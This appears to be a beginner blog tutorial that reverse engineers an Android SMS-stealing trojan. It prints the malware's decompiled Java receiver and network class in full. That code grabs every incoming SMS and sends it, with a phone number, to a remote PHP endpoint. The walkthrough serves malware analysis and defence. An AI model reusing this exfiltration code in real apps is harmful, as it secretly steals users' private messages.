Estimated difficulty: 💜💜💜🤍🤍
Why Android Attack? Because it sounds like Art Attack and it reminds me of my childhood. Much like the arty thing I used to do back then, in my mind, reversing Android malware is also similar to an art form. Yes things are more “black and white”; pardon the pun, but there are so many different types of malware samples to look at!
If you are not too familiar with what an Android application is, then you can refer to my last post here.
Different Types of Malware
There are a number of different types of potentially harmful application categories, and these have been well defined in the Google Play Protect documentation. I have attempted to summarise each of them to give you a bit of an overview of what they are before we get stuck into reversing one!
- Trojan – Code that pretends to do one thing, and then performs another undesirable or malicious action. This is common in game applications.
- Phishing – An application that steals credentials, banking information, crypto wallet number, etc.
- Spyware – An application that steals personally identifiable information (PII).
- Spam – Code that sends unsolicited messages to a users contacts or an email spam relay.
- Rooting – Code that roots the device. This includes apps with the purpose of doing said action, and those that do not inform the user.
- Ransomware – Code that controls data / information on the device, and demands payment to free said information.
- Elevated Privilege Abuse – Code the breaks the applications sandbox, such as disabling SELinux or prevents them from being uninstalled etc.
- Non-Android Threat – Code that carries a payload that will affect another system such as Windows or Linux malware.
- Hostile Downloaders – An application that downloads other malicious applications or code.
- Denial of Service (DoS) – Code that denies a service or performs a wider DoS attack, e.g. spamming a web server with web requests.
- Stalkerware – Code that collects PII and uploads them to a server commercially for monitoring purposes.
- Billing Fraud – This can come under SMS Fraud, Call Fraud or Toll Fraud. E.g. a text is sent that then charges the users device for sending said text.
- Backdoors – Code embedded in the application that allows a malicious or unauthorised user remote access to the device, or the ability to execute remote code.
Each category outlined above, are cause for an application to be banned and removed from the Play Store, if it is found to be performing any one of those actions. This makes a malware particularly sneaky at trying to hide what it is doing at times. When a malware author wants to hide something, they can use many techniques to do so. To name a few:
- Obfuscation
- Reflection
- Encoding
- Encryption
- Dynamic Code Loading
- Junk code insertion
- This list goes on!
The sample that we will do the walkthrough of, will have minimal obfuscation techniques, as this is a basic tutorial.
Malware Sample
The sample chosen for this walkthrough was taken from maldroid.github.io. The title was coined “not so boring malware samples”, so I thought this a good place to start…
The sample chosen had the hash: 355cd2b71db971dfb0fac1fc391eb4079e2b090025ca2cdc83d4a22a0ed8f082
. If you were to look up this hash in VT you would see that it flags as a Trojan or SMS Spy. It is pretty safe to say, it is highly likely there is something bad going on here.
The application was flagged as an SMS Stealer. Let’s have a look at why.
AndroidManifest.xml
This is like the blueprint to the application. It outlines the permissions, activities, services, receivers, content providers, and metadata. If we look at the permissions of our sample we can see it requests in particular:
- READ_SMS
- RECEIVE_SMS
- INTERNET
All three permissions powerful enough to get SMS information and exfiltrate it in a web request.
We can also find out the Main Launcher Activity, of the application, which is the class that is triggered upon launch of the application and the first page is loaded. There may also be a Splash Activity, which commonly triggers the Main Activity and potentially other dubious code.
We can see here, that the Main Launcher Activity is called: ir.siqe.holo.MainActivity. This is a good entry point of the application to note.
The final aspect of the application to note, and a secondary entry point is the receiver. The receiver defined in this application is called: ir.siqe.holo.MyReceiver. A receiver is an entry point, as it is triggered when the application receives an action. In this case the action is when an SMS message has been received.
I would start at the receiver, to understand what the application does, considering it has already been flagged in Virus Total as an SMS Spy, when it receives an SMS message.
Unpicking the Receiver
package ir.siqe.holo;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.androidnetworking.BuildConfig;
/* loaded from: classes.dex */
public class MyReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
SharedPreferences sharedPreferences = context.getSharedPreferences("info", 0);
SharedPreferences.Editor edit = sharedPreferences.edit();
Bundle extras = intent.getExtras();
String str = BuildConfig.FLAVOR;
if (extras != null) {
Object[] objArr = (Object[]) extras.get("pdus");
int length = objArr.length;
SmsMessage[] smsMessageArr = new SmsMessage[length];
for (int i = 0; i < length; i++) {
smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
str = ((str + "\r\n") + smsMessageArr[i].getMessageBody().toString()) + "\r\n";
}
}
if (str.contains("سایت شب")) {
edit.putString("lock", "off");
edit.commit();
}
if (str.contains("\n")) {
str = str.replaceAll("\n", " ");
}
new connect(sharedPreferences.getString("phone", "0"), str, context);
}
}
Here, I have stripped out the code from the noted MyReceiver class, and added it to a block, to make it easier to read. To go through it almost line by line, the onReceive function
public void onReceive(Context context, Intent intent) {
Passes the context and the intent. The intent, when passed, allows a function called getExtras() to be called, which contains the data of the text from the receive SMS job. Prior to that a shared preferences file, info, was opened to edit and, to save additional data.
SharedPreferences sharedPreferences = context.getSharedPreferences("info", 0);
SharedPreferences.Editor edit = sharedPreferences.edit();
Bundle extras = intent.getExtras();
The bundle of data called extras, taken from the Intent was called to extract the pdus, which is the data object for the SMS message. The SMS message is then extracted with the API call, getMessageBody and saved to the variable, str.
SmsMessage[] smsMessageArr = new SmsMessage[length];
for (int i = 0; i < length; i++) {
smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
str = ((str + "\r\n") + smsMessageArr[i].getMessageBody().toString()) + "\r\n";
}
}
if (str.contains("سایت شب")) {
edit.putString("lock", "off");
edit.commit();
}
if (str.contains("\n")) {
str = str.replaceAll("\n", " ");
}
new connect(sharedPreferences.getString("phone", "0"), str, context);
If the str variable matches some Arabic text which translates to: night site, then the application will update the SharedPreferences lock value to off. Further formatting of the str variable is later done if there is a newline. If \n is found in str then the newline is replaced with an empty value. This just looks like formatting.
Finally the str variable is then passed into the connect() function as the second parameter. It looks like the shared prederences edit file, is also passing a value from the phone string. This later looks to be the phone number in when dissecting the connect() function. See below for the code.
public connect(final String str, final String str2, Context context) {
this.url = str;
this.context = context;
AndroidNetworking.initialize(context);
AndroidNetworking.get("https://eblaqie.org/ratsms.php?phone=" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onError(ANError aNError) {
Log.i("==================", "erroeererewrwerwer");
AndroidNetworking.get("https://google.com" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onError(ANError aNError2) {
Log.i("==================", "erroeererewrwerwer");
}
});
}
});
}
}
The connect function has parameter str, taken from the shared preferences which we can infer is the phone number:
public connect(final String str, final String str2, Context context) {
this.url = str;
str2, which is the SMS message body, as identified in the MyReceiver class, is appended to the URL of: hxxps://eblaqie[.]org/ratsms[.]php?phone=” + str + “&info=” + str2).build(). After searching the URL, again in Virus Total, we can see that it has been flagged as malware.
To really confirm this as malware, in particular one that performs SMS exfiltration – which would fit under Spyware, we need to confirm the request being made. Looking more closely at the connect class, we can see that it imports and uses AndroidNetworking.
import com.androidnetworking.AndroidNetworking;
The URL that is being built and passing in the SMS message body, is inside the AndroidNetworking.get() function. This function makes a GET request as identified in the Fast Android Networking source.
AndroidNetworking.get("https://eblaqie.org/ratsms.php?phone=" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
From the Override, we can see that the application does nothing in the OnResponse() function, and then if there is an error, it defaults to making a request to Google. This also does nothing in the OnResponse().
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onError(ANError aNError) {
Log.i("==================", "erroeererewrwerwer");
AndroidNetworking.get("https://google.com" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
Summary
Overall, we can see from the code that on receipt of a text message, the application will send the SMS body to a server without the knowledge of the user. In my opinion this application fits the Spyware category, as the application was exfiltrating PII and users personal messages without them knowing.
From this post we have seen how to use external sources and a little bit of reverse engineering to identify a malicious application. In this example, I used Jadx-GUI to reverse the application. This is a very basic example and there are many more sophisticated strains out there. If you would like to see a more complex example, then definitely leave a comment and I will get working on that!
—
Sarah <3